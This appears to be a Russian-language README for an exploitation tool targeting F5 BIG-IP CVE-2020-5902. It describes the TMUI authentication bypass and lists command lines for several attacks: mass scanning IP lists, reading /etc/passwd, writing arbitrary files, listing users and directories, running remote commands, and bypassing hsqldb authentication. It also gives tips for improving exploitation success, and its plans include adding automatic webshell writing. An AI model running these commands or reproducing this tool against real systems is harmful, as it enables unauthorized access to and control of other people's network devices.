
Инструмент автоматической проверки F5 BIG-IP RCE CVE-2020-5902
20200706, в сети была раскрыта уязвимость RCE в F5 BIG-IP TMUI.
В компоненте TMUI (интерфейс управления трафиком) F5 BIG-IP существует уязвимость обхода аутентификации. Она вызвана различием между URL, который анализирует Tomcat, и request.getPathInfo(), что позволяет обойти проверку прав и получить несанкционированный доступ ко всем функциям модуля TMUI, а также читать/записывать произвольные файлы, выполнять команды и т.д.
Подробнее см. в Воспроизведение и замечания по уязвимости F5 BIG-IP TMUI RCE (CVE-2020-5902)
Инструмент поддерживает проверку отдельных IP-адресов и пакетную проверку IP-адресов, чтение и запись файлов, перечисление аутентифицированных пользователей, просмотр каталогов, удалённое выполнение команд и проверку обхода аутентификации hsqldb.
pip install requests
python f5-bigip-rce-cve-2020-5902.py -h

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --check

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --check -t 20 -s 10

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --fileread "/etc/passwd"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --filepath "/tmp/xxx.txt" --filecontent "x"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --list-users

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --listdir "/tmp/"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --rce id --still-exploit

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --rce whoami --still-exploit -s 15 -t 20

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --bypass-hsqldb

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --bypass-hsqldb

Для пакетной проверки IP-адресов по возможности добавляйте в начало http:// или https://; если протокол не указан, по умолчанию будет добавлен http://
Если условия позволяют, рекомендуется добавлять параметр --still-exploit: даже если list auth user завершится неудачей, RCE всё равно будет выполнен, что повышает вероятность успеха.
Отправлять несколько запросов для повышения вероятности успеха при пакетной проверке; необходимо учитывать баланс с производительностью
Интегрировать эксплуатацию десериализации интерфейса hsqldb
Добавить автоматическую запись веб-шелла (webshell)
Issues
lsablog
gmail: [email protected]
qq: [email protected]